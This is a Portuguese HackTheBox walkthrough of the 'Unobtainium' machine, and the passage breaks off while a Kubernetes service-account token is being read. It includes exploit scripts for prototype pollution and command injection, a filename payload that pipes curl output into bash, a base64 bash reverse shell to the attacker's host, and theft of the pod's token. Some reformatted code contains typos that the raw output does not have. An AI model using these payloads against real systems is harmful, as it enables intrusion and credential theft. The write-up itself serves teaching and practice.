HackTheBox - Writeup Unobtainium [Retired]
Tags: security, kubernetes, javascript, docker
Published: 2023-11-25 12:06:59

## HackTheBox - Writeup Unobtainium

Neste writeup iremos explorar uma máquina linux de nível hard chamada **Unobtainium**. Esta máquina aborda as seguintes vulnerabilidades e técnicas de exploração:
- **Prototype Pollution**
- **Command Injection**
- **Kubernetes permission abuse**
- **Container escape**

### Recon e primeiro shell

Iremos iniciar realizando uma varredura em nosso alvo buscando por portas abertas, para isso vamos utilizar o nmap:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# nmap -sV --open -Pn 10.129.136.226
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-19 17:27 EST
Nmap scan report for 10.129.136.226
Host is up (0.24s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http          Apache httpd 2.4.41 ((Ubuntu))
8443/tcp  open  ssl/https-alt
31337/tcp open  http          Node.js Express framework
```

Podemos notar algumas portas abertas em nosso alvo:
- 22 rodando um OpenSSH 8.2p1
- 80 que esta rodando um servidor web Apache 2.4.41
- 8443 possui algum serviço que utiliza ssl/https
- 31337 que esta rodando uma aplicação em NodeJS Express, um framework de javascript

Ao realizar um curl na porta 31337 temos o retorno de um array vazio:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# curl http://10.129.136.226:31337/             
[]  
```

Ou pelo navegador:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6cyfv43g0418v4qj08r3.png)

Ja na porta 8443 é solicitado que seja usado o ssl/https, conforme informado pelo nmap:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# curl https://10.129.136.226:8443/
curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# curl -k https://10.129.136.226:8443/      
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {
    
  },
  "status": "Failure",
  "message": "Unauthorized",
  "reason": "Unauthorized",
  "code": 401
}   
```

Aqui temos um retorno interessantee, onde pela estrutura do json de retorno podemos constatar que se trata de uma kube-api, que é o endpoint onde é feito a comunicação com o kubernetes.

Visualizando o conteúdo da porta 80 através do navegador, por se tratar um servidor web, temos o seguinte conteúdo:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/crmmigli99l90fh7yr1z.png)

É uma página de download que disponibiliza uma app de chat multi plataforma com opção de download para pacotes Debian (.deb), Redhat/CentOS (.rpm) e snap que é comumente usado no Ubuntu.
Como estamos rodando em nossa máquina virtual o kali linux vamos realizar o download do arquivo ***deb***.

Com o arquivo em nossa máquina podemos visualizar informações sobre o pacote com o seguinte comando:

```bash
──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# dpkg --info unobtainium_1.0.0_amd64.deb
 new Debian package, version 2.0.
 size 54849036 bytes: control archive=2887 bytes.
     400 bytes,    13 lines      control
    5426 bytes,    80 lines      md5sums
     289 bytes,    10 lines   *  postinst             #!/bin/bash
      74 bytes,     4 lines   *  postrm               #!/bin/bash
 Package: unobtainium
 Version: 1.0.0
 License: ISC
 Vendor: felamos <felamos@unobtainium.htb>
 Architecture: amd64
 Maintainer: felamos <felamos@unobtainium.htb>
 Installed-Size: 185617
 Depends: libgtk-3-0, libnotify4, libnss3, libxss1, libxtst6, xdg-utils, libatspi2.0-0, libuuid1, libappindicator3-1, libsecret-1-0
 Section: default
 Priority: extra
 Homepage: http://unobtainium.htb
 Description:
   client
```

Aqui temos algumas informações sobre depêndencias, mantenedor, versão e scripts contidos no mesmo.

Podemos visualizar os arquivos e saber seu conteúdo:

```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# dpkg -c unobtainium_1.0.0_amd64.deb
drwxrwxr-x 0/0               0 2021-01-19 01:15 ./
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/32x32/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/32x32/apps/
-rw-r--r-- 0/0            2021 1970-01-04 10:38 ./usr/share/icons/hicolor/32x32/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/48x48/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/48x48/apps/
-rw-r--r-- 0/0            4476 1970-01-04 10:38 ./usr/share/icons/hicolor/48x48/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/256x256/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/256x256/apps/
-rw-r--r-- 0/0           37977 1970-01-04 10:38 ./usr/share/icons/hicolor/256x256/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/128x128/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/128x128/apps/
-rw-r--r-- 0/0           18107 1970-01-04 10:38 ./usr/share/icons/hicolor/128x128/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/64x64/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/64x64/apps/
-rw-r--r-- 0/0            6621 1970-01-04 10:38 ./usr/share/icons/hicolor/64x64/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/16x16/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/icons/hicolor/16x16/apps/
-rw-r--r-- 0/0             832 1970-01-04 10:38 ./usr/share/icons/hicolor/16x16/apps/unobtainium.png
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/applications/
-rw-rw-r-- 0/0             181 2021-01-19 01:15 ./usr/share/applications/unobtainium.desktop
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/doc/
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./usr/share/doc/unobtainium/
-rw-r--r-- 0/0             146 2021-01-19 01:15 ./usr/share/doc/unobtainium/changelog.gz
drwxr-xr-x 0/0               0 2021-01-19 01:15 ./opt/
drwxrwxr-x 0/0               0 2021-01-19 01:15 ./opt/unobtainium/
-rwxr-xr-x 0/0         6712992 2021-01-19 01:14 ./opt/unobtainium/libvulkan.so
-rw-r--r-- 0/0          124662 2021-01-19 01:14 ./opt/unobtainium/chrome_100_percent.pak
-rwxr-xr-x 0/0       133649008 2021-01-19 01:14 ./opt/unobtainium/unobtainium
-rwxr-xr-x 0/0         3053896 2021-01-19 01:14 ./opt/unobtainium/libffmpeg.so
-rw-r--r-- 0/0           51449 2021-01-19 01:14 ./opt/unobtainium/snapshot_blob.bin
-rw-r--r-- 0/0          172276 2021-01-19 01:14 ./opt/unobtainium/v8_context_snapshot.bin
-rw-r--r-- 0/0             107 2021-01-19 01:14 ./opt/unobtainium/vk_swiftshader_icd.json
-rw-r--r-- 0/0            1060 2021-01-19 01:14 ./opt/unobtainium/LICENSE.electron.txt
drwxrwxr-x 0/0               0 2021-01-19 01:15 ./opt/unobtainium/locales/
-rw-r--r-- 0/0          184543 2021-01-19 01:14 ./opt/unobtainium/locales/th.pak
...
-rwxr-xr-x 0/0         4746864 2021-01-19 01:14 ./opt/unobtainium/chrome-sandbox
-rwxr-xr-x 0/0          249544 2021-01-19 01:14 ./opt/unobtainium/libEGL.so
drwxrwxr-x 0/0               0 2021-01-19 01:15 ./opt/unobtainium/resources/
-rw-rw-r-- 0/0          592850 2021-01-19 01:14 ./opt/unobtainium/resources/app.asar
-rw-r--r-- 0/0          187289 2021-01-19 01:14 ./opt/unobtainium/chrome_200_percent.pak
-rwxr-xr-x 0/0         6992048 2021-01-19 01:14 ./opt/unobtainium/libGLESv2.so
drwxrwxr-x 0/0               0 2021-01-19 01:15 ./opt/unobtainium/swiftshader/
-rwxr-xr-x 0/0          272424 2021-01-19 01:14 ./opt/unobtainium/swiftshader/libEGL.so
-rwxr-xr-x 0/0         2524480 2021-01-19 01:14 ./opt/unobtainium/swiftshader/libGLESv2.so
-rw-r--r-- 0/0         5035729 2021-01-19 01:14 ./opt/unobtainium/resources.pak
-rw-r--r-- 0/0        10527632 2021-01-19 01:14 ./opt/unobtainium/icudtl.dat
-rw-r--r-- 0/0         4562357 2021-01-19 01:14 ./opt/unobtainium/LICENSES.chromium.html
-rwxr-xr-x 0/0         3907784 2021-01-19 01:14 ./opt/unobtainium/libvk_swiftshader.so
```

E assim descobrimos se tratar de uma app usando electron, um framework javascript para criação de apps baseadas em browser.
O que nos chama atenção é o arquivo ***./opt/unobtainium/resources/app.asar***, que é um arquivo baseado em tar, que empacota a o código javascript.

Agora que ja sabemos do que se trata podemos extrair o conteúdo e analisar o arquivo app:

```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# dpkg-deb -R unobtainium_1.0.0_amd64.deb all_files

```

O comando acima extraiu o conteúdo do .deb para o diretório ***all_files***. Podemos agora extrair o conteúdo do arquivo app.asar:

```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# ls -alh all_files
total 20K
drwxrwxr-x 5 root root 4.0K Nov 20 09:12 .
drwxr-xr-x 4 root root 4.0K Nov 20 09:12 ..
drwxrwxr-x 2 root root 4.0K Jan 19  2021 DEBIAN
drwxr-xr-x 3 root root 4.0K Jan 19  2021 opt
drwxr-xr-x 3 root root 4.0K Jan 19  2021 usr

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# cd all_files/opt/unobtainium/resources

┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# ls -alh
total 588K
drwxrwxr-x 2 root root 4.0K Jan 19  2021 .
drwxrwxr-x 5 root root 4.0K Jan 19  2021 ..
-rw-rw-r-- 1 root root 579K Jan 19  2021 app.asar
```

Para isso precisamos utilizar a lib ***asar***, para instalar utilizamos o npm: 

```bash
┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# npm install -g asar
npm WARN deprecated asar@3.2.0: Please use @electron/asar moving forward.  There is no API change, just a package name change

added 18 packages in 6s

1 package is looking for funding
  run `npm fund` for details
```

E assim extraimos o conteúdo do arquivo ***app.asar***

```bash
┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# asar extract app.asar unobtainium

┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# ls -alh
total 592K
drwxrwxr-x 3 root root 4.0K Nov 20 09:21 .
drwxrwxr-x 5 root root 4.0K Jan 19  2021 ..
-rw-rw-r-- 1 root root 579K Jan 19  2021 app.asar
drwxr-xr-x 3 root root 4.0K Nov 20 09:21 unobtainium

┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# cd unobtainium

┌──(root㉿kali)-[/home/…/opt/unobtainium/resources/unobtainium]
└─# ls -alh
total 20K
drwxr-xr-x 3 root root 4.0K Nov 20 09:21 .
drwxrwxr-x 3 root root 4.0K Nov 20 09:21 ..
-rw-r--r-- 1 root root  503 Nov 20 09:21 index.js
-rw-r--r-- 1 root root  207 Nov 20 09:21 package.json
drwxr-xr-x 4 root root 4.0K Nov 20 09:21 src
```

Temos agora arquivos de uma aplicação em javascript, analisando seu conteúdo encontramos algumas informações interessantes.<br>
Primeiro temos o arquivo ***app.js*** que contém credenciais de um usuário para acesso na porta 31337, que é a aplicação em NodeJS que vimos retornar um array vazio:

```bash
┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# cat app.js
$(document).ready(function(){
    $("#but_submit").click(function(){
        var message = $("#message").val().trim();
        $.ajax({
        url: 'http://unobtainium.htb:31337/',
        type: 'put',
        dataType:'json',
        contentType:'application/json',
        processData: false,
        data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": message}}),
        success: function(data) {
            //$("#output").html(JSON.stringify(data));
            $("#output").html("Message has been sent!");
        }
    });
});
});
```

Visando automatizar a interação com a aplicação foi criado o seguinte script em python3:

```python
#!/usr/bin/python3
import requests
import json

url = "http://unobtainium.htb:31337/"

data = {
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "message": {
        "text": "something"
    }
}

json_data = json.dumps(data)

headers = {
    "Content-Type": "application/json"
}

response = requests.put(url, data=json_data, headers=headers)

if (response.status_code == 200):
    print("Message sent successfully\n")
    print(response.text)
else:
    print("Failed to send message")
```

Executando temos o seguinte retorno:


```bash
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-put.py
Message sent successfully

{"ok":true}
```

Temos outro arquivo chamado ***todo.js*** com o seguinte conteúdo:

```bash
┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# cat todo.js
$.ajax({
    url: 'http://unobtainium.htb:31337/todo',
    type: 'post',
    dataType:'json',
    contentType:'application/json',
    processData: false,
    data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}),
    success: function(data) {
        $("#output").html(JSON.stringify(data));
    }
});
```

O mesmo também possui autenticação, no entanto, realiza um POST para o endpoint /todo. Vamos copiar nosso script para um novo e realizar o ajuste. Ficando da seguinte forma:

```python
#!/usr/bin/python3
import requests
import json

url = "http://unobtainium.htb:31337/todo"

data = {
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "filename":"todo.js"
}

# Convert dict to json
json_data = json.dumps(data)

headers = {
    "Content-Type": "application/json"
}

response = requests.post(url, data=json_data, headers=headers)

if (response.status_code == 200):
    print("Message sent successfully\n")
    print(response.text)
else:
    print("Failed to send message")
```

E ao executar temos o seguinte retorno:

```bash
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-post-todo.py
Message sent successfully

{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}
```

O retorno veio sem quebra de linha, mas tem o seguinte conteúdo:

1. Create administrator zone.
2. Update node JS API Server.
3. Add Login functionality.
4. Complete Get Messages feature.
5. Complete ToDo feature.
6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1
7. Improve security

Pontos interessantes, que nos informa que existem features não finalizadas e que alguns pontos precisam de melhora na segurança.

Um ponto interessante dessa interação com o endpoint ***/todo*** é que ele le um arquivo txt. E se alterarmos o arquivo para tentar visualizar outros do alvo?

Na primeira tentativa foi inserido o ***/etc/passwd***, como padrão para LFI. No entanto, ocorreu timeout na conexão. Mas conseguimos buscar por outro arquivo no mesmo diretório, como se trata de uma app em javascript o arquivo que tentamos buscar foi o ***index.js***.<br>
E esse conseguimos:

```bash
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-post-todo.py
Message sent successfully

{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n  {name: 'felamos', password: 'Winter2021'},\n  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n  return users.find((u) =>\n    u.name === auth.name &&\n    u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n  res.send(messages);\n});\n\napp.put('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  const message = {\n    icon: '__',\n  };\n\n  _.merge(message, req.body.message, {\n    id: lastId++,\n    timestamp: Date.now(),\n    userName: user.name,\n  });\n\n  messages.push(message);\n  res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user || !user.canDelete) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  messages = messages.filter((m) => m.id !== req.body.messageId);\n  res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n  const user = findUser(req.body.auth || {});\n  if (!user || !user.canUpload) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n\n  filename = req.body.filename;\n  root.upload(\"./\",filename, true);\n  res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n        const user = findUser(req.body.auth || {});\n        if (!user) {\n                res.status(403).send({ok: false, error: 'Access denied'});\n                return;\n        }\n\n        filename = req.body.filename;\n        testFolder = \"/usr/src/app\";\n        fs.readdirSync(testFolder).forEach(file => {\n                if (file.indexOf(filename) > -1) {\n                        var buffer = fs.readFileSync(filename).toString();\n                        res.send({ok: true, content: buffer});\n                }\n        });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"}
```

Assim como o arquivo ***todo.txt*** o arquivo ***index.js*** retornou com a formatação "quebrada", mas utilizando o vscode facilmente podemos ajustar sua identação. E assim temos o seguinte conteúdo:

```javascript
var root = require("google-cloudstgoogleorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
      {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
      return users.find((u) =>
        u.name === auth.name &&
        u.password === auth.password);
}

app.use(bodyParser.json());

ap.get('/', (req, res) => {
      res.send(messages);
});p

app.put('/', (req, res) => {
      const user = findUser(req.body.auth || {});

  if (!user) {
        res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  const message = {
        icon: '__',
  };

  _.merge(message, req.body.message, {
        id: lastId++,
        timestamp: Date.now(),
        userName: user.name,
  });

  messages.push(message);
  res.send({ok: true});
});

app.delete('/', (req, res) => {
      const user = findUser(req.body.auth || {});

  if (!user || !user.canDelete) {
        res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  messages = messages.filter((m) => m.id !== req.body.messageId);
  res.send({ok: true});
});
app.post('/upload', (req, res) => {
      const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
        res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }


  filename = req.body.filename;
  root.upload("./",filename, true);
  res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
            const user = findUser(req.body.auth || {});
        if (!user) {
                    res.status(403).send({ok: false, error: 'Access denied'});
                return;
        }

        filename = req.body.filename;
        testFolder = "/usr/src/app";
        fs.readdirSync(testFolder).forEach(file => {
                    if (file.indexOf(filename) > -1) {
                            var buffer = fs.readFileSync(filename).toString();
                            res.send({ok: true, content: buffer});
                }
        });
});

app.listen(3000);
console.log('Listening on port 3000...');

```

Aqui temos basicamente todo o funcionamento da aplicação alvo!

Temos o endpoint /upload que é restrito a usuários que sejam admin.

```javascript
app.post('/upload', (req, res) => {
      const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
        res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }


  filename = req.body.filename;
  root.upload("./",filename, true);
  res.send({ok: true, Uploaded_File: filename});
});
```

Temos o objeto User para os usuários:

```javascript
const users = [
      {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
```
Onde podemos ver o usuário que utilizamos para acessar a aplicação e o usuário admin, que possui uma senha gerada aleatóriamente.
Aqui vemos que nosso usuário possui as propriedades ***name*** e ***password***, ja o usuário admin possui estas e duas a mais que são ***canDelete: true*** e ***canUpload: true***

E aqui encontramos nossa primeiro vulnerabilidade, chamada de ***prototype pollution***.<br>
***Prototype pollution*** ocorre porque o JavaScript permite que objetos herdem propriedades e métodos de seus protótipos. Se as devidas precauções não forem tomadas, podemos explorar esse recurso poluindo a cadeia de protótipos com modificações maliciosas.
Em nosso caso podemos adicionar a nosso usuário as propriedades que o admin tem! 

Outro ponto importante é que existe um lib externa sendo usada:

```
var root = require("google-cloudstgoogleorage-commands");
```

Analisando a mesma notamos que ela não recebe mais atualizações e possui uma vulnerabilidade de ***Command Injection***:
https://security.snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431

Em uma analise mais detalhada podemos notar que existe uma má implementação da função ***exec*** sem uma sanitização, ocorrendo o command injection.
https://github.com/samradical/google-cloudstorage-commands/blob/master/index.js#L11

E onde essa lib esta sendo utilizada? Em nosso endpoint de upload! Ou seja, podemos adicionar permissões para o nosso usuário utilizar o endpoint e assim executar nosso command injection.

Para isso vamos editar nosso primeiro script chamado ***req-put.py***, onde o conteúdo de ***data*** ficará da seguinte forma:

```python
data = {
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "message": {
        "text": "something",
        "__proto__":{
            "canUpload": True
        }
    }
}
```

Estamos adicionando mais um campo em ***messsage*** onde inserimos ***___proto__*** que é um propriedade especial do javascript para acessar uma propriedade especifica do javascript, nesse caso estamos acessando ***canUpload*** e setando para ***true***

Executamos nosso script:

```bash
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-put.py
Message sent successfully

{"ok":true}
```

Com nosso usuário podendo realizar uploads, vamos mais um vez copiar nosso script para um novo arquivo, dessa vez chamado ***req-upload.py***:

```python
#!/usr/bin/python3
import requests
import json

url = "http://unobtainium.htb:31337/upload"

data = {
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "filename":"| curl 10.10.14.152:8081/testing #"
}

json_data = json.dumps(data)

headers = {
    "Content-Type": "application/json"
}

response = requests.post(url, data=json_data, headers=headers)

if (response.status_code == 200):
    print("Message sent successfully\n")
    print(response.text)
else:
    print("Failed to send message")

```

Assim como citado na poc iremos adicionar o seguinte payload em ***filename:***:

```
"filename":"| curl 10.10.14.152:8081/testing | base64 -d |bash #"
```

Conseguimos comprovar o command injection inserindo um curl para nossa máquina local, onde abrimos um servidor python para ouvir na porta 8081. Assim ao executar o script:

```bash
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-upload.py
Message sent successfully

{"ok":true,"Uploaded_File":"| curl 10.10.14.152:8081/testing #"}
```

Temos a comprovação da vulnerabilidade através do retorno:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.136.226 - - [20/Nov/2023 13:43:46] code 404, message File not found
10.129.136.226 - - [20/Nov/2023 13:43:46] "GET /testing HTTP/1.1" 404 -
```

Agora precisamos conseguir um shell em nosso alvo! Para isso tentamos inserir diversos payloads, mas qualquer comando inserido que contenham determinados caracteres não executavam.

Para contornar essa situação foi necessário utilizar um shell reverso em base64. Editando o conteúdo de ***filename*** para a seguinte forma:

```
"filename":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE1Mi85MDAxIDA+JjE= | base64 -d |bash #"
```

Onde o conteúdo do base64 é um shell reverso para nossa máquina local:

```bash
❯ echo -n 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE1Mi85MDAxIDA+JjE=' | base64 -d
bash -i >&/dev/tcp/10.10.14.152/9001 0>&1
```

Aqui temos exemplos de diversos tipos de reverse shell: https://pentestbook.six2dez.com/exploitation/reverse-shells

Em uma aba do terminal iremos utilizar o pwncat para ouvir na porta 9001. O pwncat é um reverse shell "tunado" onde ja existem diversas opções para interagir com o alvo e um shell muito bom.

```bash
┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# pwncat-cs -lp 9001
[13:45:25] Welcome to pwncat 🐈!                                                                                    __main__.py:164
```

E ao executar nosso script:

```bash
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-upload.py
Message sent successfully

{"ok":true,"Uploaded_File":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE1Mi85MDAxIDA+JjE= | base64 -d |bash #"}
```

Temos o seguinte retorno em nosso pwncat:

```bash
┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# pwncat-cs -lp 9001
[13:45:25] Welcome to pwncat 🐈!                                                                                    __main__.py:164
[13:54:05] received connection from 10.129.136.226:49621                                                                 bind.py:84
[13:54:13] 10.129.136.226:49621: registered new host w/ db                                                           manager.py:957
(local) pwncat$
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)
```

### User flag e movimentação lateral 


Temos nosso shell no alvo, mas existe um porém. Em uma rápida análise podemos constatar que estamos em um container:

```
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HISTCONTROL=ignorespace
HOSTNAME=webapp-deployment-9546bc7cb-b7k2g
WEBAPP_DEPLOYMENT_PORT_3000_TCP_PROTO=tcp
YARN_VERSION=1.22.19
PWD=/usr/src/app
WEBAPP_DEPLOYMENT_PORT=tcp://10.43.177.186:3000
WEBAPP_DEPLOYMENT_SERVICE_PORT=3000
WEBAPP_DEPLOYMENT_SERVICE_HOST=10.43.177.186
HOME=/root
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
WEBAPP_DEPLOYMENT_PORT_3000_TCP_ADDR=10.43.177.186
TERM=xterm-256color
WEBAPP_DEPLOYMENT_PORT_3000_TCP=tcp://10.43.177.186:3000
SHLVL=3
KUBERNETES_PORT_443_TCP_PROTO=tcp
canUpload=true
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
PS1=$(command printf "\[\033[01;31m\](remote)\[\033[0m\] \[\033[01;33m\]$(whoami)@$(hostname)\[\033[0m\]:\[\033[1;36m\]$PWD\[\033[0m\]\$ ")
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=14.20.0
WEBAPP_DEPLOYMENT_PORT_3000_TCP_PORT=3000
_=/usr/bin/env
```

Sendo mais especifico estamos dentro do um container em um pod no kubernetes.
O kubernetes é um orquestrador de containers com foco em automatizar a implantação e gerencia automatizada de software, a sua unidade minima é o pod.

Através das envs podemos ver diversas variáveis de ambiente que nos mostram diversas configurações do pod em que estamos.
A porta que esta exposta (***3000***) o endereço ip do pod (***10.43.177.186***), versão do NodeJS (***14.20.0***), dentre outras configurações. Outro ponto interessante é o hostname do container, que é o nome do pod ***(webapp-deployment-9546bc7cb-b7k2g***)

Um ponto interessante é que os pods armazenam arquivos que permitem que o mesmo se comunique com a api do kubernetes, são dois arquivos que iremos buscar, o token e o certificate.

```bash
root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzMyMDQxNzYyLCJpYXQiOjE3MDA1MDU3NjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItYjdrMmciLCJ1aWQiOiIyMjA4Mzc5Yi0yY2U2LTQ0YjktYjlhOC1hOWU3N2Q1NTIwYTEifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNzAwNTA5MzY5fSwibmJmIjoxNzAwNTA1NzYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.ZMHXhT9cWaISjY9LgPDapLjR95pakI-CUmfhf2ohNQL21J8Xc2sNxzuePSJtS3W2qnZqySdFDgZKCLp4nTYZPP3RvVDneG57AN_yuvee2W8sPqmtlpY-5CjZc4ZAK21ygjajRcwwsyWUQa3POgmtxXbpC1sG5Om3-fqxKn4r80M79FEI0xmofcedyH1BwxzoKqH4rOD5-opOXTE9KrNEbv-DTWFJDLZ_BAq_2_ANyDQb94ajb3Zyih7ioDFusYgUT-OuK94EHzGetQ6ip2g9RRclCbiag75xd63_OW-KMcP-_2JydkIhlJbMvR8qaVu1hypM1m_Zk1FH53